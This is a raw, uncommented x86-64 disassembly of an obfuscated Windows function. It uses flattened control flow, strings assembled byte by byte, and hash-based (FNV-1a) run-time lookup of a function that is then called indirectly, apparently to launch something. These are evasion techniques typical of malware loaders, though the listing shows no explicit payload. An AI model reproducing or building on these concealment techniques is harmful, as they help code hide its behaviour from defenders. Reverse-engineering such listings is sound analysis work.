cmp ecx, 0x93b35e1
jne 0x18003d6b0
mov rcx, qword [rbp + 0xd8]
mov word [rcx + 0x86], 0
mov rcx, qword [rbp + 0xd8]
add rcx, 2
mov qword [rbp + 0xf0], rcx
mov ecx, 0x481ef19b
jmp 0x18003d6b0
mov ecx, 0x8035b83a
jmp 0x18003d6b0
mov ecx, 0x6c643e7
xor eax, eax
jmp 0x18003d6b0
mov qword [rbp + 0x110], rax
mov rcx, qword [rbp + 0x110]
cmp rcx, 0x42
mov ecx, 0x705fe4f4
mov edx, 0x29654ef2
cmovb ecx, edx
jmp 0x18003d6b0
cmp ecx, 0x481ef19b
jne 0x18003d6b0
mov rdx, qword [rbp + 0xf0]
mov r8, qword [rbp - 8]
sub rsp, 0x20
lea rcx, [rbp + 0x9b0]
call fcn.18003e980
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp + 0x88]
mov rax, qword [rbp + 0x88]
mov ecx, 0x116f7955
nop dword [rax]
cmp ecx, 0x116f7955
je 0x18003d852
cmp ecx, 0x55c6853
jne 0x18003d840
jmp 0x18003d8a7
mov ecx, 0x55c6853
jmp 0x18003d840
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax + 0xa], cl
add rax, 0xb
mov qword [rbp + 0x100], rax
mov dword [rbp + 0xf8], 0x75
mov eax, 0x77906a8
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x77906a8
je 0x18003d8a0
cmp eax, 0xd85e0dcf
jne 0x18003d890
jmp 0x18003d8d9
mov eax, 0xd85e0dcf
jmp 0x18003d890
mov byte [rbp + 0x110], 6
mov cl, byte [rbp + 0x110]
add cl, 0x43
mov byte [rax], cl
mov ecx, 0x116f7955
nop
cmp ecx, 0x116f7955
je 0x18003d8d2
cmp ecx, 0x55c6853
jne 0x18003d8c0
jmp 0x18003d923
mov ecx, 0x55c6853
jmp 0x18003d8c0
mov byte [rbp + 0x110], 7
movsx eax, byte [rbp + 0x110]
mov dword [rbp + 0x110], eax
mov ecx, 0xedca38df
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x3ff8290f
je 0x18003d95c
cmp ecx, 0xedca38df
jne 0x18003d900
mov eax, dword [rbp + 0xf8]
add eax, dword [rbp + 0x110]
mov ecx, 0x3ff8290f
jmp 0x18003d900
mov byte [rbp + 0x110], 6
mov cl, byte [rbp + 0x110]
add cl, 0x72
mov byte [rax + 1], cl
mov ecx, 0x116f7955
nop dword [rax + rax]
cmp ecx, 0x116f7955
je 0x18003d955
cmp ecx, 0x55c6853
jne 0x18003d940
jmp 0x18003da32
mov ecx, 0x55c6853
jmp 0x18003d940
mov byte [rbp + 0xe8], al
mov al, byte [rbp + 0xe8]
mov rcx, qword [rbp + 0x100]
mov byte [rcx], al
mov eax, 0xe9574fa1
nop word cs:[rax + rax]
cmp eax, 0x60163ef5
je 0x18003da69
cmp eax, 0xe9574fa1
jne 0x18003d980
mov rax, qword [rbp + 0x100]
add rax, 1
mov qword [rbp + 0x110], rax
mov dword [rbp + 0xe8], 0x65
mov eax, 0x77906a8
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x77906a8
je 0x18003d9d0
cmp eax, 0xd85e0dcf
jne 0x18003d9c0
jmp 0x18003d9d7
mov eax, 0xd85e0dcf
jmp 0x18003d9c0
mov byte [rbp + 0xf8], 7
movsx eax, byte [rbp + 0xf8]
mov dword [rbp + 0xf8], eax
mov ecx, 0xedca38df
cmp ecx, 0x3ff8290f
je 0x18003da13
cmp ecx, 0xedca38df
jne 0x18003d9f0
mov eax, dword [rbp + 0xe8]
add eax, dword [rbp + 0xf8]
mov ecx, 0x3ff8290f
jmp 0x18003d9f0
mov byte [rbp + 0xf0], al
mov al, byte [rbp + 0xf0]
mov rcx, qword [rbp + 0x110]
mov byte [rcx], al
mov eax, 0x60163ef5
jmp 0x18003d980
mov byte [rbp + 0x110], 6
mov cl, byte [rbp + 0x110]
add cl, 0x65
mov byte [rax + 2], cl
mov ecx, 0x116f7955
nop word [rax + rax]
cmp ecx, 0x116f7955
je 0x18003da62
cmp ecx, 0x55c6853
jne 0x18003da50
jmp 0x18003da99
mov ecx, 0x55c6853
jmp 0x18003da50
mov rax, qword [rbp + 0x110]
mov dword [rbp + 0xe8], 0x45
mov ecx, 0x77906a8
nop
cmp ecx, 0x77906a8
je 0x18003da92
cmp ecx, 0xd85e0dcf
jne 0x18003da80
jmp 0x18003dad9
mov ecx, 0xd85e0dcf
jmp 0x18003da80
mov byte [rbp + 0x110], 6
mov cl, byte [rbp + 0x110]
add cl, 0x61
mov byte [rax + 3], cl
mov ecx, 0x116f7955
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x116f7955
je 0x18003dad2
cmp ecx, 0x55c6853
jne 0x18003dac0
jmp 0x18003db23
mov ecx, 0x55c6853
jmp 0x18003dac0
mov byte [rbp + 0xf8], 7
movsx ecx, byte [rbp + 0xf8]
mov dword [rbp + 0xf8], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3ff8290f
je 0x18003db59
cmp edx, 0xedca38df
jne 0x18003db00
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov edx, 0x3ff8290f
jmp 0x18003db00
mov byte [rbp + 0x110], 6
mov cl, byte [rbp + 0x110]
add cl, 0x74
mov byte [rax + 4], cl
mov ecx, 0x116f7955
nop dword [rax + rax]
cmp ecx, 0x116f7955
je 0x18003db52
cmp ecx, 0x55c6853
jne 0x18003db40
jmp 0x18003db9c
mov ecx, 0x55c6853
jmp 0x18003db40
mov byte [rbp + 0xf0], cl
mov cl, byte [rbp + 0xf0]
mov byte [rax + 1], cl
mov dword [rbp + 0xe8], pe_nt_image_headers64
mov ecx, 0x77906a8
nop word [rax + rax]
cmp ecx, 0x77906a8
je 0x18003db95
cmp ecx, 0xd85e0dcf
jne 0x18003db80
jmp 0x18003dd29
mov ecx, 0xd85e0dcf
jmp 0x18003db80
mov byte [rbp + 0x110], 6
mov cl, byte [rbp + 0x110]
add cl, 0x65
mov byte [rax + 5], cl
add rax, 6
mov qword [rbp + 0x100], rax
mov byte [rbp + 0xe8], 0x50
mov eax, 0xf2a75a31
nop word cs:[rax + rax]
cmp eax, 0x25dcc982
je 0x18003dd73
cmp eax, 0xf2a75a31
jne 0x18003dbd0
mov al, byte [rbp + 0xe8]
mov ecx, 0x116f7955
nop dword [rax]
cmp ecx, 0x116f7955
je 0x18003dc02
cmp ecx, 0x55c6853
jne 0x18003dbf0
jmp 0x18003dc09
mov ecx, 0x55c6853
jmp 0x18003dbf0
mov byte [rbp + 0xf8], 6
add al, byte [rbp + 0xf8]
mov rcx, qword [rbp + 0x100]
mov byte [rcx], al
mov rax, qword [rbp + 0x100]
mov ecx, 0x116f7955
nop dword [rax + rax]
cmp ecx, 0x116f7955
je 0x18003dc42
cmp ecx, 0x55c6853
jne 0x18003dc30
jmp 0x18003dc49
mov ecx, 0x55c6853
jmp 0x18003dc30
mov byte [rbp + 0xf8], 6
mov cl, byte [rbp + 0xf8]
add cl, 0x72
mov byte [rax + 1], cl
mov ecx, 0x116f7955
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x116f7955
je 0x18003dc82
cmp ecx, 0x55c6853
jne 0x18003dc70
jmp 0x18003dc89
mov ecx, 0x55c6853
jmp 0x18003dc70
mov byte [rbp + 0xf8], 6
mov cl, byte [rbp + 0xf8]
add cl, 0x6f
mov byte [rax + 2], cl
mov ecx, 0x116f7955
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x116f7955
je 0x18003dcc2
cmp ecx, 0x55c6853
jne 0x18003dcb0
jmp 0x18003dcc9
mov ecx, 0x55c6853
jmp 0x18003dcb0
mov byte [rbp + 0xf8], 6
mov cl, byte [rbp + 0xf8]
add cl, 0x63
mov byte [rax + 3], cl
add rax, 4
mov qword [rbp + 0x110], rax
mov eax, 0x116f7955
nop dword [rax]
cmp eax, 0x116f7955
je 0x18003dd00
cmp eax, 0x55c6853
jne 0x18003dcf0
jmp 0x18003dd07
mov eax, 0x55c6853
jmp 0x18003dcf0
mov byte [rbp + 0xf8], 6
mov al, byte [rbp + 0xf8]
add al, 0x65
mov rcx, qword [rbp + 0x110]
mov byte [rcx], al
mov eax, 0x25dcc982
jmp 0x18003dbd0
mov byte [rbp + 0xf8], 7
movsx ecx, byte [rbp + 0xf8]
mov dword [rbp + 0xf8], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3ff8290f
je 0x18003dd99
cmp edx, 0xedca38df
jne 0x18003dd50
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov edx, 0x3ff8290f
jmp 0x18003dd50
mov rax, qword [rbp + 0x110]
mov ecx, 0x116f7955
nop
cmp ecx, 0x116f7955
je 0x18003dd92
cmp ecx, 0x55c6853
jne 0x18003dd80
jmp 0x18003ddd9
mov ecx, 0x55c6853
jmp 0x18003dd80
mov byte [rbp + 0xf0], cl
mov cl, byte [rbp + 0xf0]
mov byte [rax + 2], cl
mov dword [rbp + 0xe8], 0x57
mov ecx, 0x77906a8
nop word [rax + rax]
cmp ecx, 0x77906a8
je 0x18003ddd2
cmp ecx, 0xd85e0dcf
jne 0x18003ddc0
jmp 0x18003de19
mov ecx, 0xd85e0dcf
jmp 0x18003ddc0
mov byte [rbp + 0xf8], 6
mov cl, byte [rbp + 0xf8]
add cl, 0x73
mov byte [rax + 1], cl
mov ecx, 0x116f7955
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x116f7955
je 0x18003de12
cmp ecx, 0x55c6853
jne 0x18003de00
jmp 0x18003de63
mov ecx, 0x55c6853
jmp 0x18003de00
mov byte [rbp + 0xf8], 7
movsx ecx, byte [rbp + 0xf8]
mov dword [rbp + 0xf8], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3ff8290f
je 0x18003de9c
cmp edx, 0xedca38df
jne 0x18003de40
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov edx, 0x3ff8290f
jmp 0x18003de40
mov byte [rbp + 0xf8], 6
mov cl, byte [rbp + 0xf8]
add cl, 0x73
mov byte [rax + 2], cl
mov ecx, 0x116f7955
nop dword [rax + rax]
cmp ecx, 0x116f7955
je 0x18003de95
cmp ecx, 0x55c6853
jne 0x18003de80
jmp 0x18003e455
mov ecx, 0x55c6853
jmp 0x18003de80
mov byte [rbp + 0xf0], cl
mov cl, byte [rbp + 0xf0]
mov byte [rax + 3], cl
mov byte [rax + 4], 0
mov rcx, qword [rbp + 0x78]
sub rsp, 0x20
call fcn.18003f290
mov r11d, 0x87cbc1a8
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
jmp 0x18003df50
mov edx, dword [rbp + 0xe8]
mov rdx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x110]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, 0x181b9de8
nop dword [rax]
cmp edx, 0xfe90a09b
jle 0x18003dfc0
cmp edx, 0x333d8297
jle 0x18003e010
cmp edx, 0x5cca55f4
jg 0x18003e08a
cmp edx, 0x333d8298
je 0x18003e14d
cmp edx, 0x33ec62ab
je 0x18003e162
cmp edx, 0x42d422e5
jne 0x18003df50
mov dword [rbp + 0xd8], ebx
mov edx, dword [rbp + 0xd8]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xc4], edx
mov edx, dword [rbp + 0xc4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r15d
jmp 0x18003df50
cmp edx, 0xc5fd57a7
jle 0x18003e050
cmp edx, 0xeb000b68
jg 0x18003e0ba
cmp edx, 0xc5fd57a8
je 0x18003e173
cmp edx, 0xd1e81d16
je 0x18003e182
cmp edx, 0xd597d4ff
jne 0x18003df50
mov edx, 0x42d422e5
mov ebx, dword [rbp + 0xc0]
jmp 0x18003df50
cmp edx, 0x12a1b9d7
jle 0x18003e0ec
cmp edx, 0x12a1b9d8
je 0x18003e19b
cmp edx, 0x181b9de8
je 0x18003e1aa
cmp edx, 0x28ad3f39
jne 0x18003df50
mov edx, 0x73f80f82
jmp 0x18003df50
cmp edx, 0xb163ad29
jle 0x18003e11e
cmp edx, 0xb163ad2a
je 0x18003e1da
cmp edx, 0xb9d33223
je 0x18003e203
cmp edx, 0xbb6ed30e
jne 0x18003df50
mov edx, 0x12a1b9d8
jmp 0x18003df50
cmp edx, 0x5cca55f5
je 0x18003e214
cmp edx, 0x7343bfbc
je 0x18003df09
cmp edx, 0x73f80f82
jne 0x18003df50
mov edx, 0x42d422e5
xor ebx, ebx
jmp 0x18003df50
cmp edx, 0xeb000b69
je 0x18003e22d
cmp edx, 0xfb306983
jne 0x18003e2a4
mov edx, dword [rbp + 0xc4]
cmp edx, 0x7f
setl byte [rbp + 0xe6]
mov edx, 0x333d8298
jmp 0x18003df50
cmp edx, 0xfe90a09c
je 0x18003e258
cmp edx, 0x1dd0b01
jne 0x18003df50
mov edx, dword [rbp + 0x10c]
cmp edx, 0x5b
setl byte [rbp + 0xe7]
mov edx, 0xd1e81d16
jmp 0x18003df50
cmp edx, 0x87cbc1a8
je 0x18003e28a
cmp edx, 0x9302de66
jne 0x18003df50
mov rcx, qword [rbp + 0x100]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xd0]
jmp 0x18003df50
cmp byte [rbp + 0xe6], 0
mov edx, 0xbb6ed30e
cmovne edx, r14d
jmp 0x18003df50
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xc8]
jmp 0x18003df50
mov dword [rbp + 0xe8], r10d
mov edx, r9d
jmp 0x18003df50
cmp byte [rbp + 0xe7], 0
mov edx, 0xb9d33223
mov edi, 0xfe90a09c
cmovne edx, edi
jmp 0x18003df50
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18003df50
movsxd rdx, dword [rbp + 0xe8]
xor rdx, qword [rbp + 0x110]
imul rdx, r13
mov qword [rbp + 0x100], rdx
mov edx, dword [rbp + 0xf0]
add edx, 1
mov dword [rbp + 0xd0], edx
mov edx, r8d
jmp 0x18003df50
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x110], rcx
mov edx, dword [rbp + 0xd8]
mov edi, dword [rbp + 0xf0]
cmp edi, edx
mov edx, 0xf6d6bd87
cmovb edx, r11d
jmp 0x18003df50
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x10c]
jmp 0x18003df50
mov edx, dword [rbp + 0xd8]
add edx, 1
mov dword [rbp + 0xc0], edx
mov edx, 0xd597d4ff
jmp 0x18003df50
mov rdx, qword [rbp + 0xf8]
movsx edx, byte [rdx]
mov dword [rbp + 0x10c], edx
mov edx, dword [rbp + 0x10c]
cmp edx, 0x41
mov edx, 0xb9d33223
mov edi, 0x1dd0b01
cmovge edx, edi
jmp 0x18003df50
mov edx, dword [rbp + 0x10c]
mov edi, edx
and edi, 0x72963832
or edi, 0x8d414380
and edx, 0x8d69c7ed
xor edx, edi
xor edx, 0x8d4143a0
mov dword [rbp + 0xc8], edx
mov edx, 0x33ec62ab
jmp 0x18003df50
mov edx, dword [rbp + 0xf0]
add rdx, rax
mov qword [rbp + 0xf8], rdx
mov edx, 0xeb000b69
jmp 0x18003df50
cmp edx, 0xf6d6bd87
jne 0x18003df50
mov rcx, qword [rbp + 0x110]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov r13, rax
lea rax, [rbp + 0x9b0]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x70]
mov eax, 0x12a4892c
nop word [rax + rax]
cmp eax, 0x12a4892b
jg 0x18003e3a0
cmp eax, 0xbd821552
je 0x18003e8de
cmp eax, 0xfb746882
jne 0x18003e2f0
mov rbx, qword [rbp + 0x100]
sub rsp, 0x20
mov rcx, rdi
mov dx, 0x68
call fcn.180096090
add rsp, 0x20
mov word [rbx + 2], ax
sub rsp, 0x20
mov rcx, rdi
mov dx, 0x65
call fcn.180096090
add rsp, 0x20
mov word [rbx + 4], ax
sub rsp, 0x20
mov rcx, rdi
mov dx, 0x44
call fcn.180096090
add rsp, 0x20
mov word [rbx + 6], ax
sub rsp, 0x20
mov rcx, rdi
mov dx, 0x42
call fcn.180096090
add rsp, 0x20
mov word [rbx + 8], ax
add rbx, 0xa
mov rax, qword [rbp + 0xf8]
add rax, 0x12
mov qword [rbp + 0x110], rax
mov eax, 0x5e5d88cd
jmp 0x18003e2f0
cmp eax, 0x5e5d88cd
je 0x18003e433
cmp eax, 0x12a4892c
jne 0x18003e2f0
mov qword [rbp + 0xf8], rdi
mov rax, qword [rbp + 0xf8]
mov word [rax], 0xabb5
mov rsi, qword [rbp + 0xf8]
sub rsp, 0x20
mov rcx, rdi
mov dx, 0x43
call fcn.180096090
add rsp, 0x20
mov word [rsi + 2], ax
sub rsp, 0x20
mov rcx, rdi
mov dx, 0x61
call fcn.180096090
add rsp, 0x20
mov word [rsi + 4], ax
add rsi, 6
mov qword [rbp + 0x100], rsi
sub rsp, 0x20
mov rcx, rdi
mov dx, 0x63
call fcn.180096090
add rsp, 0x20
mov rcx, qword [rbp + 0x100]
mov word [rcx], ax
mov eax, 0xfb746882
jmp 0x18003e2f0
mov word [rbx], 0
add rbx, 2
cmp rbx, qword [rbp + 0x110]
mov eax, 0x5e5d88cd
mov ecx, 0xbd821552
cmove eax, ecx
jmp 0x18003e2f0
mov byte [rbp + 0xf8], 6
mov cl, byte [rbp + 0xf8]
add cl, 0x57
mov byte [rax + 3], cl
mov byte [rax + 4], 0
mov rcx, qword [rbp + 0x88]
sub rsp, 0x20
call fcn.18003ea80
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
mov r11d, 0x87cbc1a8
jmp 0x18003e510
mov edx, dword [rbp + 0xe8]
mov rdx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x110]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, 0x181b9de8
nop dword [rax]
cmp edx, 0xfe90a09b
jle 0x18003e580
cmp edx, 0x333d8297
jle 0x18003e5d0
cmp edx, 0x5cca55f4
jg 0x18003e64a
cmp edx, 0x333d8298
je 0x18003e70d
cmp edx, 0x33ec62ab
je 0x18003e722
cmp edx, 0x42d422e5
jne 0x18003e510
mov dword [rbp + 0xd8], ebx
mov edx, dword [rbp + 0xd8]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xc4], edx
mov edx, dword [rbp + 0xc4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r15d
jmp 0x18003e510
cmp edx, 0xc5fd57a7
jle 0x18003e610
cmp edx, 0xeb000b68
jg 0x18003e67a
cmp edx, 0xc5fd57a8
je 0x18003e733
cmp edx, 0xd1e81d16
je 0x18003e742
cmp edx, 0xd597d4ff
jne 0x18003e510
mov edx, 0x42d422e5
mov ebx, dword [rbp + 0xc0]
jmp 0x18003e510
cmp edx, 0x12a1b9d7
jle 0x18003e6ac
cmp edx, 0x12a1b9d8
je 0x18003e75b
cmp edx, 0x181b9de8
je 0x18003e76a
cmp edx, 0x28ad3f39
jne 0x18003e510
mov edx, 0x73f80f82
jmp 0x18003e510
cmp edx, 0xb163ad29
jle 0x18003e6de
cmp edx, 0xb163ad2a
je 0x18003e79a
cmp edx, 0xb9d33223
je 0x18003e7c3
cmp edx, 0xbb6ed30e
jne 0x18003e510
mov edx, 0x12a1b9d8
jmp 0x18003e510
cmp edx, 0x5cca55f5
je 0x18003e7d4
cmp edx, 0x7343bfbc
je 0x18003e4c9
cmp edx, 0x73f80f82
jne 0x18003e510
mov edx, 0x42d422e5
xor ebx, ebx
jmp 0x18003e510
cmp edx, 0xeb000b69
je 0x18003e7ed
cmp edx, 0xfb306983
jne 0x18003e864
mov edx, dword [rbp + 0xc4]
cmp edx, 0x7f
setl byte [rbp + 0xe6]
mov edx, 0x333d8298
jmp 0x18003e510
cmp edx, 0xfe90a09c
je 0x18003e818
cmp edx, 0x1dd0b01
jne 0x18003e510
mov edx, dword [rbp + 0x10c]
cmp edx, 0x5b
setl byte [rbp + 0xe7]
mov edx, 0xd1e81d16
jmp 0x18003e510
cmp edx, 0x87cbc1a8
je 0x18003e84a
cmp edx, 0x9302de66
jne 0x18003e510
mov rcx, qword [rbp + 0x100]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xd0]
jmp 0x18003e510
cmp byte [rbp + 0xe6], 0
mov edx, 0xbb6ed30e
cmovne edx, r14d
jmp 0x18003e510
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xc8]
jmp 0x18003e510
mov dword [rbp + 0xe8], r10d
mov edx, r9d
jmp 0x18003e510
cmp byte [rbp + 0xe7], 0
mov edx, 0xb9d33223
mov edi, 0xfe90a09c
cmovne edx, edi
jmp 0x18003e510
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18003e510
movsxd rdx, dword [rbp + 0xe8]
xor rdx, qword [rbp + 0x110]
imul rdx, r13
mov qword [rbp + 0x100], rdx
mov edx, dword [rbp + 0xf0]
add edx, 1
mov dword [rbp + 0xd0], edx
mov edx, r8d
jmp 0x18003e510
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x110], rcx
mov edx, dword [rbp + 0xd8]
mov edi, dword [rbp + 0xf0]
cmp edi, edx
mov edx, 0xf6d6bd87
cmovb edx, r11d
jmp 0x18003e510
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x10c]
jmp 0x18003e510
mov edx, dword [rbp + 0xd8]
add edx, 1
mov dword [rbp + 0xc0], edx
mov edx, 0xd597d4ff
jmp 0x18003e510
mov rdx, qword [rbp + 0xf8]
movsx edx, byte [rdx]
mov dword [rbp + 0x10c], edx
mov edx, dword [rbp + 0x10c]
cmp edx, 0x41
mov edx, 0xb9d33223
mov edi, 0x1dd0b01
cmovge edx, edi
jmp 0x18003e510
mov edx, dword [rbp + 0x10c]
mov edi, edx
and edi, 0x72963832
or edi, 0x8d414380
and edx, 0x8d69c7ed
xor edx, edi
xor edx, 0x8d4143a0
mov dword [rbp + 0xc8], edx
mov edx, 0x33ec62ab
jmp 0x18003e510
mov edx, dword [rbp + 0xf0]
add rdx, rax
mov qword [rbp + 0xf8], rdx
mov edx, 0xeb000b69
jmp 0x18003e510
cmp edx, 0xf6d6bd87
jne 0x18003e510
mov rcx, qword [rbp + 0x110]
sub rsp, 0x20
call fcn.1800e9be0
sub rsp, 0x30
lea rcx, [rbp + 0x180]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x118]
mov qword [rsp + 0x40], rcx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
lea rdx, [rbp + 0x9b0]
xor r8d, r8d
xor r9d, r9d
call rax
mov r11d, 0x87cbc1a8
add rsp, 0x50
mov rax, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov eax, 0x2db8cb15
jmp 0x18002d840
mov rcx, qword [rbp + 0x70]
sub rsp, 0x20
call fcn.18003f490
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
mov rcx, qword [rcx]
mov rdx, qword [rbp + 8]
mov r9, qword [rbp + 0x98]
mov rbx, qword [rbp - 0x48]
sub rsp, 0x30
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov rdx, rax
xor r8d, r8d
call r13
add rsp, 0x30
mov rax, qword [rbp + 0x20]
cmp word [rax], 0
setne byte [rbp + 0xbe]
mov eax, 0xffd81d29
movabs r13, 0x100000001b3
mov r11d, 0x87cbc1a8
jmp 0x18002d840
mov rcx, qword [rbp + 0x11b8]
xor rcx, rbp
sub rsp, 0x20
call fcn.1800fabf0
add rsp, 0x20
movaps xmm6, xmmword [rbp + 0x11c0]
lea rsp, [rbp + 0x11d8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret